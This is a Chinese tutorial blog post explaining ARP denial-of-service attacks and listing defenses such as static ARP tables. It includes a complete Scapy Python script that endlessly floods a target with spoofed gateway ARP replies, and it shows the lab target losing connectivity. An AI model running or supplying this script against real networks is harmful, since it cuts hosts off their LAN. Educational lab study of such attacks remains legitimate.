使用 Scapy 库编写 ARP 拒绝服务攻击脚本

简介: 使用 Scapy 库编写 ARP 拒绝服务攻击脚本

一、ARP 协议基础

参考下篇文章学习

二、ARP 拒绝服务攻击原理:

ARP拒绝服务攻击利用ARP协议的工作原理,通过发送大量的伪造ARP请求来混乱目标设备的ARP缓存,使其无法正确地将IP地址解析为MAC地址。攻击者发送大量的ARP请求,每个请求都会伪造一个源IP地址和源MAC地址。目标设备收到这些伪造的请求后,会将伪造的源IP地址和MAC地址存储在ARP缓存中,覆盖掉真实的映射关系。这样,当其他设备需要与目标设备通信时,由于ARP缓存中的映射关系是错误的,通信将无法正常进行,从而导致拒绝服务

2.1 ARP 拒绝服务攻击步骤:

  • 攻击者获取目标设备的IP地址。
  • 攻击者利用程序或工具发送大量伪造的ARP请求,每个请求都包含一个伪造的源IP地址和源MAC地址,以及目标设备的IP地址。
  • 目标设备收到伪造的ARP请求后,将错误的映射关系存储在ARP缓存中。
  • 当其他设备需要与目标设备通信时,会根据ARP缓存中的错误映射关系发送数据包,导致通信失败。

2.2 防御ARP拒绝服务攻击的方法:

  • 使用静态ARP表:在网络中配置静态ARP表,将每个设备的IP地址与MAC地址直接关联,不使用ARP协议进行解析。这样可以防止ARP缓存被攻击者篡改。
  • ARP缓存监控和清除:监控网络中的ARP缓存,及时发现异常的映射关系,并进行清除,恢复正常的映射关系。
  • 使用防火墙:在网络中设置防火墙,限制对ARP请求的频率和数量,阻止大量伪造的ARP请求进入网络。
  • 网络流量监控:通过监控网络流量,及时发现异常的ARP请求,可以采取相应的措施防止攻击的发生。

三、安装 Scapy 库

3.1 Windows

pip install scapy

3.2 Linux

git clone https://github.com/secdev/scapy
cd scapy
./run_scapy 

四、环境准备

我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:

在Scapy库中,ls(ARP)命令用于显示ARP协议的字段及其默认值。下面是对输出中各字段的解释:

  • hwtype:硬件类型字段,表示硬件地址的类型。默认为XShortEnumField类型,值为1,代表以太网。
  • ptype:协议类型字段,表示协议地址的类型。默认为XShortEnumField类型,值为2048,代表IPv4地址。
  • hwlen:硬件地址长度字段,表示硬件地址的长度。默认为FieldLenField类型,无默认值,根据硬件类型自动设置。
  • plen:协议地址长度字段,表示协议地址的长度。默认为FieldLenField类型,无默认值,根据协议类型自动设置。
  • op:操作码字段,表示ARP报文的操作类型,例如请求(1)或响应(2)。默认为ShortEnumField类型,值为1,代表ARP请求。
  • hwsrc:源硬件地址字段,表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型,无默认值。
  • psrc:源协议地址字段,表示发送ARP请求或响应的设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。
  • hwdst:目标硬件地址字段,表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型,无默认值。
  • pdst:目标协议地址字段,表示ARP请求或响应的目标设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

小王:CentOS 9

五、实操演示

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
import random
 
 
def arp_dos(target_ip, gateway_ip):
    print("ARP 拒绝服务攻击中...")
 
    # 创建以太网帧对象
    eth = Ether()
 
    # 设置以太网帧的目标 MAC 地址为广播地址
    eth.dst = "ff:ff:ff:ff:ff:ff"
 
    # 创建ARP对象
    arp = ARP()
 
    # 设置ARP报文的操作码为2,表示ARP响应包
    arp.op = 2
 
    # 设置ARP报文的源MAC地址为随机生成的MAC地址
    arp.hwsrc = random_mac()
 
    # 设置ARP报文的源IP地址为网关IP地址
    arp.psrc = gateway_ip
 
    # 设置ARP报文的目标MAC地址为随机生成的MAC地址
    arp.hwdst = random_mac()
 
    # 设置ARP报文的目标IP地址为目标IP地址
    arp.pdst = target_ip
 
    # 使用Scapy中的/运算符将以太网帧对象eth和ARP对象arp组合成一个数据帧
    frame = eth / arp
 
    # 使用Scapy中的sendp()函数发送构造好的数据帧
    sendp(frame)
 
 
def random_mac():
    # 生成随机的MAC地址
    mac = [random.randint(0x00, 0xff) for _ in range(6)]
    return ":".join(["%02x" % byte for byte in mac])
 
 
target_ip = "192.168.134.132"  # 目标IP地址
gateway_ip = "192.168.134.254"  # 网关IP地址
 
while True:
    arp_dos(target_ip, gateway_ip)

发起攻击

可以发现 IP 地址对应的 MAC 地址一直在变化

Ping 不通符合实验效果


相关文章
|
6月前
|
缓存 监控 网络协议
21.6 Python 构建ARP中间人数据包
ARP中间人攻击(ARP spoofing)是一种利用本地网络的`ARP`协议漏洞进行欺骗的攻击方式,攻击者会向目标主机发送虚假`ARP`响应包,使得目标主机的`ARP`缓存中的`IP`地址和`MAC`地址映射关系被篡改,从而使得目标主机将网络流量发送到攻击者指定的虚假`MAC`地址。攻击者可以在不被发现的情况下窃取目标主机的网络流量、信息等,也可以进行其他的恶意行为,如中间人攻击、监听等。
39 0
21.6 Python 构建ARP中间人数据包
|
安全 Python
python——脚本实现检测目标ip是否存在rce漏洞
python——脚本实现检测目标ip是否存在rce漏洞
385 0
python——脚本实现检测目标ip是否存在rce漏洞
|
4天前
|
存储 缓存 监控
使用 Scapy 库编写 ARP 拒绝服务攻击脚本
使用 Scapy 库编写 ARP 拒绝服务攻击脚本
|
4天前
|
缓存 监控 网络协议
使用 Scapy 库编写 ARP 缓存中毒脚本
使用 Scapy 库编写 ARP 缓存中毒脚本
|
9月前
|
监控 网络协议 数据安全/隐私保护
ARP系统的命令行基础
本文详细的介绍了华为VRP系统的命令基础,能让小白打下坚定的数通的基础。
|
网络协议 Python
Python 使用Scapy操作DNS流量
通常一个DNS数据包,客户端发送DNSQR请求包,服务器发送DNSRR响应包。一个DNSQR包含有查询的名称qname、查询的类型qtype、查询的类别qclass。一个DNSRR包含有资源记录名名称rrname、类型type、资源记录类别rtype、TTL等等。
306 0
|
网络协议
Metasploit -- 主机探测模块
Metasploit -- 主机探测模块
76 0
Metasploit -- 主机探测模块
|
网络协议 Python Windows
Python 实现ARP扫描与欺骗
ARP欺骗又称ARP毒化或ARP攻击,是针对以太网地址解析协议ARP的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。
392 0
Python 实现ARP扫描与欺骗
|
安全 网络协议 数据安全/隐私保护
数据包处理利器——Scapy高级使用(二)
数据包处理利器——Scapy高级使用(二)
|
网络协议 Unix Linux
数据包处理利器——Scapy高级使用(一)
数据包处理利器——Scapy高级使用(一)
数据包处理利器——Scapy高级使用(一)